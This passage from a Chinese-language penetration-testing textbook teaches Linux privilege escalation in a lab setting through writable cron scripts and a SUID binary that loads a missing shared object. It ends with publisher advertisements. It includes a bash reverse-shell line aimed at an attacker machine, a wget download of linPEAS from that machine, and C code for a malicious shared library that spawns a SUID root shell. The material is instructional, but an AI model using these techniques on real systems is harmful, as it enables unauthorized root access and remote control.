overwrite.sh脚本,执行时提供提升权限的反向 shell。这是因为默认路径变量指定了user帐户的主目录作为 cron 作业的主目录。然而,如果在第一个目录中未找到overwrite.sh脚本,cron 将检查$PATH变量中指定的其他目录,正如以下截图所示:图 12.19 – Crontab 路径
-
在这种情况下,我们未在
user帐户的主目录中找到overwrite.sh脚本。因此,我们可以在$PATH变量中指定的其他目录中搜索该脚本。可以通过列出每个目录的内容来实现,如下所示:ls -al /usr/local/bin | grep overwrite.sh另外,你可以使用
locate工具通过运行以下命令来搜索overwrite.sh脚本:locate overwrite.sh在这种情况下,我们将在
/usr/local/bin目录下找到文件,正如以下截图所示:图 12.20 – 定位脚本
-
下一步是识别
overwrite.sh脚本的权限,以确定我们是否可以更改或覆盖脚本的内容。可以通过运行以下命令来实现:ls -al /usr/local/bin | grep overwrite.sh输出如下所示,见下图:
图 12.21 – 文件权限
在这种情况下,我们可以确定该脚本具有读写权限。因此,我们可以使用自己的命令对文件进行修改或覆盖。
-
现在,让我们在
overwrite.sh脚本中添加一个bash命令,为我们提供一个反向 Shell。可以通过运行以下命令来实现:echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" >> /usr/local/bin/overwrite.sh该命令将附加一个
bash命令,它将连接到我们在 Kali Linux 虚拟机上的反向监听器。请确保用相应的 IP 地址和端口号替换命令中的字段。运行上述命令后,
overwrite.sh脚本应包含以下截图中所示的命令:图 12.22 – overwrite.sh 脚本附加的命令
-
一旦我们附加了
bash命令,我们需要使用 Netcat 设置一个反向监听器。我们可以通过运行以下命令在 Kali 虚拟机上设置反向监听器:
nc -nvlp <PORT>请确保指定您在
overwrite.sh脚本中使用的端口。在将
bash命令附加到overwrite.sh脚本后,我们需要等待几分钟,以便 cron 作业被触发,之后我们应该会在 Netcat 监听器上收到一个提权的反向 Shell,如下图所示:
图 12.23 – 反向 Shell
通过这一操作,我们成功利用了配置错误的 cron 作业,提升了权限,并以 root 用户身份执行了反向 Shell 有效负载。
现在,您应该对如何枚举系统上运行的 cron 作业有了清晰的了解,并且掌握了如何通过多种技术手段利用这些作业提升权限。
总结
在本章中,我们首先研究了 cron 工具的工作原理和 crontab 文件的结构。然后,我们深入探讨了如何利用配置错误的 cron 路径。我们还探索了通过利用 cron 作业执行的脚本中的通配符来提升权限的过程。最后,我们通过研究如何通过 cron 文件覆盖提升权限结束了本章内容。
在下一章,我们将探讨如何利用 SUDO 和 SUID 二进制文件来提升我们的权限。
第十三章:利用 SUID 二进制文件
我们将通过探索在 Linux 上查找和利用 SUID 二进制文件的过程来结束 Linux 上的权限提升过程,这有助于提升目标系统的权限。
本章将从查看 Linux 上文件系统权限的工作原理开始,接下来我们将了解 SUID 权限的工作方式以及它们是如何应用的。然后我们将了解如何搜索和识别易受攻击或配置错误的 SUID 二进制文件,最后探讨可以利用配置不当的 SUID 二进制文件提升权限的各种技术。
在本章中,我们将涵盖以下主要内容:
-
Linux 文件系统权限简介
-
查找 SUID 二进制文件
-
通过共享对象注入提升权限
技术要求
要跟随本章中的演示,您需要确保熟悉 Linux 终端命令。
您可以在此查看本章代码的实际操作:bit.ly/39Kdn1t
Linux 文件系统权限简介
在我们开始探索利用 SUID 二进制文件提升权限的过程之前,我们需要简要了解 Linux 上的文件系统权限以及它们如何用于授予或限制对文件和目录的访问。这将为我们深入研究 SUID 二进制文件,它们是如何配置的以及如何利用它们提供帮助。
在 Linux 上,文件系统权限用于授予或限制对文件和目录的访问。这是一个非常有用的功能,因为它允许用户限制对特定文件或目录的访问,从而防止任何未经授权的访问。
我们可以通过运行以下命令列出文件或文件夹的权限:
ls -al
如下截图所示,此命令将输出目录中所有文件及其所有属性的列表,包括它们的访问权限和所有权详细信息:
图 13.1 – 文件权限
Linux 提供多用户支持。由于这一点,文件和数据的访问基于以下关键元素进行限制:
-
文件所有权:指拥有文件的特定用户或组。
-
访问权限:指用于允许或限制对特定文件的访问的具体权限。
每个 Linux 文件和目录都有一个所有者和特定的文件权限,用于防止未经认证或未经授权的访问。
就所有权而言,Linux 将文件所有权分为三个主要类别:
-
用户:用于指定文件的所有者。通常,文件的创建者成为文件的所有者。
-
组:这是用来指定文件的组所有权或访问权限,组内的所有用户将拥有相同的权限和对该文件的访问权限。只有该组的成员才能根据文件的访问权限读取、写入或执行文件。
-
其他:这是指系统中非文件所有者或不属于拥有文件所有权的组的其他用户的读、写或执行权限。
下图展示了 Linux 中文件所有权的分类,其中访问权限用于决定系统上特定文件的所有者、组和其他用户对该文件的访问权限类型:
图 13.2 – Linux 文件所有权
现在我们已经了解了文件所有权在 Linux 中的处理和实现方式,接下来我们来看看如何配置访问权限。
Linux 上的每个文件和目录都有特定的访问权限,用于决定该文件是否可以被读取、修改或执行。Linux 根据你希望提供给系统上用户和组的访问类型,将这些权限分为三类:
-
读取:此权限允许用户读取文件,用字母
r表示。 -
写入:此权限允许用户修改或更改文件,用字母
w表示。 -
执行:此权限允许用户执行或运行一个文件,并用字母
x表示。
下图展示了系统中某个文件的所有者、组和其他用户的访问权限:
图 13.3 – 文件访问权限
在此示例中,文件的所有者具有读、写和执行权限,而组和其他用户仅具有读和执行权限,从而限制他们修改文件。
这个例子展示了 Linux 中文件所有权和访问权限的重要性,以及它们如何用于限制或授予对系统中文件和资源的访问。
更改权限
要更改文件和目录权限,我们可以使用chmod命令,简称为更改模式。
chmod 命令的语法可以通过多种格式定义,其中最常用的格式是符号模式格式。它为用户提供了一个简单易懂的语法,用于修改、设置和移除权限。下表展示了所有参数及其对应的功能:
让我们看看如何使用chmod修改文件和目录的权限。
我将使用一个简单的 Bash 脚本作为测试文件,演示权限如何影响访问。
如果我们想要给文件添加权限,我们可以使用 + 符号。让我们给脚本赋予可执行权限。我们可以通过以下语法来实现这一点:
chmod +x script.sh
如果我们想要给所有用户赋予可执行权限,我们可以使用以下命令:
chmod u+x script.sh
我们还可以在单个命令中使用多个权限,并使用逗号分隔选项。此命令将给组赋予可执行权限,并将所有用户和组赋予写权限:
chmod g+x, a+w script.sh
如果我们想要从文件中删除权限,我们可以使用 - 符号。此命令将删除所有用户的可执行权限。这将阻止脚本的执行:
chmod a-x script.sh
现在您已经对 Linux 上的文件系统权限工作原理有了功能性的理解,我们可以开始探讨 SUID 权限的工作方式及其用途。
理解 SUID 权限
除了三个主要的文件访问权限(读取、写入和执行)外,Linux 还为用户提供了特定情况下可用的专用权限。其中一个访问权限是 设置所有者用户 ID(SUID)权限。
应用此权限时,允许用户以文件所有者的权限执行脚本或二进制文件,而不是运行脚本或二进制文件的用户。
SUID 权限通常用于为非特权用户提供以 root 权限运行特定脚本或二进制文件的能力。然而,请注意,提供的提升权限仅限于执行脚本,并不转换为提升的权限。然而,如果它们没有被正确配置,非特权用户可以利用二进制文件或脚本中的配置错误或漏洞来获得提升的会话。
可以通过列出文件的相应所有权权限来轻松识别具有 SUID 访问权限的文件或二进制文件。如果应用于文件或二进制文件,执行权限(由字母 x 表示)将被替换为 SUID 权限,由字母 s 表示,如下面的截图所示:
图 13.4 – SUID 权限
如前面的截图所示,文件的所有者具有 SUID 访问权限,而组的成员和系统上的其他用户具有读取和执行权限,但没有写权限。在这种情况下,组的成员和系统上的其他用户将能够以 root 权限执行二进制文件,因为文件的所有者是 root 用户。
此权限非常有用,因为它为管理员提供了对文件或二进制文件的细粒度控制,可以控制谁可以访问它们,是否可以执行以及执行时的权限。
这是我们在本章中尝试利用的功能,以提升我们的权限。然而,正如你可能已经注意到的那样,我们攻击的成功将取决于以下因素:
-
SUID 二进制文件的所有者:考虑到我们尝试提升权限,我们只会利用 root 用户或其他特权用户拥有的 SUID 二进制文件。
-
访问权限:我们需要执行权限才能执行 SUID 二进制文件。
现在我们已经了解了 SUID 权限的工作原理,让我们来看一下如何在目标系统上搜索和识别 SUID 二进制文件。
搜索 SUID 二进制文件
在目标系统上搜索和识别 SUID 二进制文件的过程可以手动或自动执行。我们将分别介绍这两种方法,因为在某些限制性环境下,无法使用自动化工具时,手动搜索 SUID 二进制文件的技巧非常重要。
在本章中,我们将使用在 第十一章中设置的虚拟机,Linux 密码挖掘。
我们将首先学习如何通过利用内置的 Linux 工具手动搜索 SUID 二进制文件。
手动搜索 SUID 二进制文件
你可以通过使用 Linux 内置的 find 工具手动搜索 SUID 二进制文件。这使你能够在目标系统上搜索 SUID 二进制文件。为此,运行以下命令:
find / -type f -perm -u=s -ls 2>/dev/null
该命令将搜索具有 SUID 访问权限的文件,并显示每个文件或二进制文件的相应所有者。
如下图所示,我们可以识别出许多具有 SUID 权限的二进制文件。在这种情况下,它们都属于 root 用户:
图 13.5 – 手动搜索 SUID 二进制文件
下一步是识别可以被利用来提升权限的 SUID 二进制文件。然而,在我们这样做之前,我们需要探索自动化搜索 SUID 二进制文件的过程。
使用 linPEAS 搜索 SUID 二进制文件
我们可以通过使用自动化枚举工具来自动化搜索 SUID 二进制文件的过程。在这种情况下,我们将使用 linPEAS 脚本来枚举我们目标的信息。
注意
linPEAS 是一个本地 Linux 枚举脚本,用于搜索和扫描潜在的漏洞,同时列举所有可以用来进行权限提升攻击的重要系统信息。
linPEAS 二进制文件可以从以下 GitHub 仓库下载:github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS。
确保你下载了linpeas.sh Bash 脚本,如下截图所示:
](Images/B17389_13_006.jpg)
图 13.6 – linPEAS Bash 脚本
下载完 Bash 脚本到我们的 Kali 虚拟机后,我们需要将linpeas.sh文件传输到我们的目标虚拟机。由于没有 Meterpreter 会话,这不能自动完成。因此,我们需要使用 Linux 特定的工具来下载该二进制文件。
为了将linpeas.sh文件传输到我们的目标系统,我们需要在 Kali 虚拟机上设置一个 Web 服务器,用于托管该文件。这样,我们就可以在目标系统上下载它。可以通过以下步骤来完成:
-
为了在我们的 Kali 虚拟机上设置一个 Web 服务器,我们可以利用
SimpleHTTPServerPython 模块来提供脚本。可以通过在存储linpeas.sh二进制文件的目录中运行以下命令来实现:sudo python -m SimpleHTTPServer 80注意
SimpleHTTPServer是一个适用于 Python2 的 Python 模块,对于 Python3,它也以http.server的形式提供。如下截图所示,
SimpleHTTPServer模块将在 Kali 虚拟机的 IP 地址上通过80端口提供该目录中的文件:](Images/B17389_13_007.jpg)
图 13.7 – SimpleHTTPServer linpeas
-
为了在目标系统上下载
linpeas.sh文件,我们可以使用wget工具。然而,在下载该二进制文件之前,我们需要导航到一个有读写权限的目录。在这种情况下,我们将导航到临时目录,如下截图所示:](Images/B17389_13_008.jpg)
图 13.8 – Linux 临时目录
-
我们现在可以使用
wget工具从 Kali 虚拟机下载文件到我们的目标系统。可以通过在目标系统上运行以下命令来实现:wget http://<KALI-VM-IP>/linpeas.sh输出如下所示:
图 13.9 – wget linpeas
如前面的截图所示,如果传输成功,linpeas.sh文件应该已经下载并保存为我们指定的名称。
linpeas.sh脚本枚举了大量信息,并将执行各种检查以发现目标系统的潜在漏洞。我们可以使用linpeas.sh脚本来枚举并定位目标系统上的 SUID 二进制文件。
要枚举所有重要的系统信息,我们需要运行linpeas.sh脚本。但是,在此之前,我们需要确保脚本具有可执行权限。可以通过在目标系统上运行以下命令来实现:
chmod +x linpeas.sh
现在,我们可以通过在目标系统上运行以下命令来运行linpeas.sh脚本:
./linpeas.sh
如下图所示,脚本将枚举系统信息并显示目标系统上 SUID 二进制文件的列表:
](Images/B17389_13_010.jpg)
图 13.10 – linPEAS SUID 二进制文件
在这种情况下,我们可以识别出与手动搜索中找到的 SUID 二进制文件相同的文件。然而,linPEAS 还为我们提供了每个 SUID 二进制文件的潜在漏洞信息,这些漏洞可以被利用。在本章的后续部分,这些信息将非常有用。
现在我们已经能够搜索并识别目标系统上的所有 SUID 二进制文件,我们可以开始探索识别易受攻击且可以被利用的 SUID 二进制文件的过程。
识别易受攻击的 SUID 二进制文件
识别可以用来提升我们权限的易受攻击的 SUID 二进制文件可能是一个非常手动的过程,并且因系统而异,具体取决于可用的 SUID 文件。然而,我们可以通过利用名为 GTFOBins 的资源来简化这个过程。
GTFOBins 是一个经过精心策划的 Unix 二进制文件列表,可以利用这些文件绕过本地安全限制,在我们的案例中,用于提升我们的权限。
更多关于 GTFOBins 的信息可以在此找到:gtfobins.github.io/。
我们可以使用 GTFOBins 网站上提供的信息来识别目标系统上的可被利用的二进制文件,以提升我们的权限。
GTFOBins 网站有一个专门的 SUID 类别,为我们提供了一份包含易受攻击的 SUID 二进制文件的列表,可以通过点击 SUID 类别访问,如以下截图所示:
图 13.11 – GTFOBins SUID 类别
SUID 类别将为你提供一个按字母顺序排列的易受攻击的 SUID 二进制文件及其相应功能的列表,如以下截图所示:
](Images/B17389_13_012.jpg)
图 13.12 – GTFOBins 易受攻击的 SUID 二进制文件
我们可以使用这份易受攻击的 SUID 二进制文件列表,来识别与目标系统上 SUID 二进制文件的潜在匹配项。然而,在我们的案例中,我们未能识别出任何匹配项。因此,我们将需要分析目标系统上的 SUID 二进制文件,以识别可能存在的漏洞,这些漏洞可以被利用。
此外,请注意,在以后的评估中不要忽视 GTFOBins 资源,因为你可能会遇到某些目标系统,其中确实存在可以被利用的易受攻击的 SUID 二进制文件。
在这种情况下,我们将不得不采取更为手动的方法,这需要分析目标系统上的 SUID 二进制文件。
通过共享对象注入进行权限提升
在前一节中,搜索 SUID 二进制文件,我们使用 linPEAS 识别了目标系统上的 SUID 二进制文件。然而,除了列出 SUID 二进制文件,linPEAS 还对这些 SUID 二进制文件执行了额外的漏洞检查,以确定它们是否可以被利用。
详细分析 linPEAS 的结果显示,linPEAS 执行并使用strace工具检查二进制文件,以识别二进制文件所使用的共享对象。
注意
strace是一个 Linux 工具,用于监视和调试应用程序及进程,以及它们与 Linux 内核的交互。
linPEAS 通过strace运行每个 SUID 二进制文件,以识别二进制文件使用的共享对象,并列出它们的各自位置,如下图所示:
图 13.13 – linPEAS 共享对象
如前面的截图所示,我们可以将suid-so二进制文件识别为潜在的目标,因为它使用了几个在目标系统上不存在的共享对象。然而,有一个特定的共享对象文件应该引起你的注意:suid-so二进制文件使用了一个名为libcalc.so的共享对象,该共享对象存储在user账户的主目录中。
注意
共享对象是 Linux 中相当于 Windows 中的动态链接库(DLLs),用于为 Linux 应用程序提供额外的功能。
由于我们目前是以user账户登录到目标系统,我们应该能够修改 SUID 二进制文件正在使用的共享库,从而执行任意命令。在我们的例子中,当执行suid-so二进制文件时,这将为我们提供一个提升的会话。
这种攻击方式与 Windows 的 DLL 注入技术非常相似,我们用一个修改过的 DLL 替换了目标 DLL,当目标服务执行时,这个修改过的 DLL 为我们提供了一个提升的反向 Shell。
在我们开始利用阶段之前,应该通过执行suid-so二进制文件来分析它的作用,因为该二进制文件存储在/usr/local/bin目录中。我们可以通过运行以下命令直接执行它:
suid-so
运行该二进制文件没有揭示出任何有用的信息,因为它仅仅执行一个计算并提供计算的进度条,如下图所示:
图 13.14 – 执行 SUID 二进制文件
另外,我们可以手动使用strace工具分析二进制文件使用了哪些共享对象,而不是使用自动化工具。可以通过运行以下命令来实现:
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
此命令将使用strace实用程序运行suid-so二进制文件,并使用 grep 限制strace产生的输出,这将确保仅显示二进制文件使用的共享对象:
图 13.15 – 使用 strace SUID 二进制文件的共享对象
如前述截图中所示,我们可以在用户帐户的主目录中找到libcal.so共享对象,就像我们使用 linPEAS 脚本时一样。
我们还可以通过使用内置的strings实用程序在二进制文件中搜索有用的字符串。可以通过运行以下命令来完成此操作:
strings /usr/local/bin/suid-so
如下截图所示,strings实用程序将输出在suid-so二进制文件中找到的字符串列表:
图 13.16 – 查找有用的字符串
在这种情况下,我们可以确定应用程序在用户帐户的主目录中使用了libcalc.so共享对象。如果您无法访问strace实用程序或任何自动枚举脚本(如 linPEAS),strings实用程序可能非常有用。
现在,我们对suid-so二进制文件的功能有了一个概念,知道它使用了哪些共享对象,并且已经确定了一个存在漏洞的共享对象,我们可以开始特权提升过程。
可以按照以下步骤执行特权提升过程:
-
在此过程中的第一步涉及检查
libcalc.so文件是否存在。可以通过列出用户帐户的主目录内容来完成此操作:ls -al /home/user/如下截图所示,用户帐户的主目录中不包含
.config目录,其中包含libcalc.so共享对象文件。因此,我们需要自己创建.config目录并编译共享对象文件:图 13.17 – 用户的主目录
-
运行以下命令可以在用户帐户的主目录中创建
.config目录:mkdir /home/user/.config创建完
.config目录后,需要创建libcalc.c文件。可以通过运行以下命令来完成此操作:touch /home/user/.config/libcalc.c -
下一步涉及将我们的自定义 C 代码添加到我们将要编译的
libcalc.c文件中。使用你选择的终端文本编辑器打开刚刚创建的libcalc.c文件。在我的情况下,我将使用 VIM 并添加以下 C 代码:#include <stdio.h>
#include <stdlib.h>
static void inject() attribute((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
这段 C 代码利用了一个名为
inject的自定义函数,该函数运行一个系统命令,将 Bash 二进制文件复制到 Linux 的temp目录。完成这一步后,它会为 Bash 二进制文件赋予 SUID 权限,并从temp目录执行它。由于suid-so二进制文件以 root 用户身份运行,并调用libcalc.so共享库,自定义的libcalc.so共享库文件也会以 root 权限执行,从而为我们提供提升的 Bash 会话。注意
你还可以在
libcalc.c中使用你自己的 C 反向 Shell 代码,它将连接到反向监听器,并为你提供一个提升的反向 Shell。一旦你添加了自定义代码,确保按照以下截图所示正确缩进:
图 13.18 – 自定义的 libcalc.c 代码
在按要求缩进并格式化代码后,确保保存代码再继续。现在,我们需要编译
libcalc.c文件,以便获得libcalc.so共享库文件。 -
我们可以通过运行以下命令用
Gnu C Compiler(GCC)编译自定义的libcalc.c文件:gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c这个命令将编译自定义的
libcalc.c文件,并为我们提供自定义的libcalc.so共享库文件,从而为我们提供提升的会话。注意
在用 GNU C 编译器(gcc)编译自定义代码时,我们使用了
-fPIC标志,这可以确保我们的共享库中的代码是位置无关的,并且可以在内存中的任何地址加载。编译
libcalc.c文件后,你现在应该在user账户的主目录中拥有自定义的libcalc.so文件,如下图所示:图 13.19 – 编译后的 libcalc.so 共享库
现在我们已经准备好了自定义的
libcalc.so共享文件,我们可以执行suid-so二进制文件。 -
要执行自定义的
libcalc.so共享库文件,我们需要执行suid-so二进制文件。这可以通过运行以下命令来完成:suid-so如果你按照前面的步骤正确操作,运行
suid-so二进制文件应该会为你提供一个 Bash 会话,如下图所示:图 13.20 – Bash 会话
-
我们可以通过运行以下命令来确认自己是否已经获得 root 权限的提升会话:
id另外,你也可以通过运行以下命令来确定你当前登录的用户:
whoami如下图所示,我们应该以 root 用户身份拥有提升的会话:
图 13.21 – 提升的 Bash 会话
在这过程中,我们成功地通过利用配置不当的 SUID 二进制文件来提升权限,该文件使用了存储在一个非特权用户账户主目录中的共享对象文件。
可以使用多种技术来利用 SUID 二进制文件。然而,过程中最重要的因素是彻底地枚举和收集目标 SUID 的尽可能多的信息,然后分析这些信息以查找潜在的配置错误或漏洞。这个过程因目标而异,因此需要敏锐的眼光和系统的方法来帮助识别 SUID 二进制文件中的配置错误或漏洞。
总结
在本章中,我们首先了解了 Linux 上的文件系统权限如何工作以及如何使用 SUID 权限。然后我们深入探讨了如何手动和自动地搜索和识别目标系统上的 SUID 二进制文件。我们还简要地介绍了识别易受攻击的 SUID 二进制文件的过程,然后讨论了如何通过利用配置错误的 SUID 二进制文件来提升权限。
如果你已经读到这里,恭喜你!你现在应该能够熟练地利用各种漏洞来提升 Windows 和 Linux 系统上的权限。
如果这是你首次接触权限提升的过程,你现在应该具备了识别和利用目标系统漏洞来提升权限所需的技能。
本书旨在成为一本实用指南,指导您如何从 Windows 和 Linux 目标中枚举尽可能多的信息,以及如何利用这些信息识别可以被利用来提升权限的漏洞。本书通过提供实践练习来验证您在每一章中学到的内容,以实现这一目标。
本书涵盖了 Windows 和 Linux 系统中最重要的权限提升向量,并为您提供了可以利用这些向量的实际场景。
希望你喜欢本书,并且无论你的技能水平如何,都能从每一章中获得价值,并且能够提升你的权限提升技能,增强作为渗透测试员的能力。
订阅我们的在线数字图书馆,全面访问超过 7000 本书籍和视频,以及行业领先的工具,帮助你规划个人发展并推进职业生涯。更多信息,请访问我们的网站。
第十四章:为什么订阅?
-
通过来自 4000 多名行业专业人士的实用电子书和视频,减少学习时间,增加编码时间
-
利用专门为你定制的技能计划,提升学习效果
-
每月获取一本免费的电子书或视频
-
完全可搜索,方便访问重要信息
-
复制、粘贴、打印和书签内容
你知道 Packt 提供每本书的电子书版本,PDF 和 ePub 文件可供下载吗?你可以在packt.com升级到电子书版本,作为纸质书的客户,你还可以享受电子书的折扣。更多详情,请联系我们:customercare@packtpub.com。
在www.packt.com你还可以阅读一系列免费的技术文章,订阅各种免费的时事通讯,并享受 Packt 书籍和电子书的独家折扣和优惠。
你可能会喜欢的其他书籍
如果你喜欢这本书,可能会对 Packt 出版的其他书籍感兴趣:
网络安全职业发展计划
Gerald Auger 博士、Jaclyn "Jax" Scott、Jonathan Helmus、Kim Nguyen
ISBN: 978-1-80107-356-1
-
了解网络安全基础,包括不同的框架和法律,以及相关专业
-
了解如何在网络安全行业找到你的第一份工作
-
理解大学教育和证书课程之间的区别
-
制定目标和时间表,鼓励工作与生活的平衡,同时为你的工作提供价值
-
了解可用的不同类型的网络安全职位,以及什么是入门级岗位
-
构建实惠的、实用的实验室,提升你的技术技能
-
了解如何设定目标并在获得第一份网络安全工作后保持动力
防病毒绕过技术
Nir Yehoshua、Uriel Kosayev
ISBN: 978-1-80107-974-7
-
探索安全领域,掌握防病毒软件的基本知识
-
了解如何使用恶意软件分析工具收集防病毒绕过研究线索
-
了解两种常用的防病毒绕过方法
-
了解如何绕过静态和动态防病毒引擎
-
理解并在实际场景中实施绕过技术
-
利用最佳实践和建议实施防病毒解决方案
Packt 正在寻找像你这样的作者
如果您有兴趣成为 Packt 的作者,请访问authors.packtpub.com并立即申请。我们与成千上万的开发者和技术专业人士合作,帮助他们将自己的见解分享给全球技术社区。您可以提交一般申请,申请我们正在招募的特定热门话题的作者,或者提交您自己的创意。
分享您的想法
现在您已经完成了特权提升技术,我们很想听听您的想法!如果您是通过亚马逊购买的这本书,请点击这里直接进入亚马逊的评价页面并分享您的反馈或在您购买书籍的网站上留下评论。
您的评价对我们和技术社区非常重要,将帮助我们确保提供高质量的内容。
你可能会喜欢的其他书籍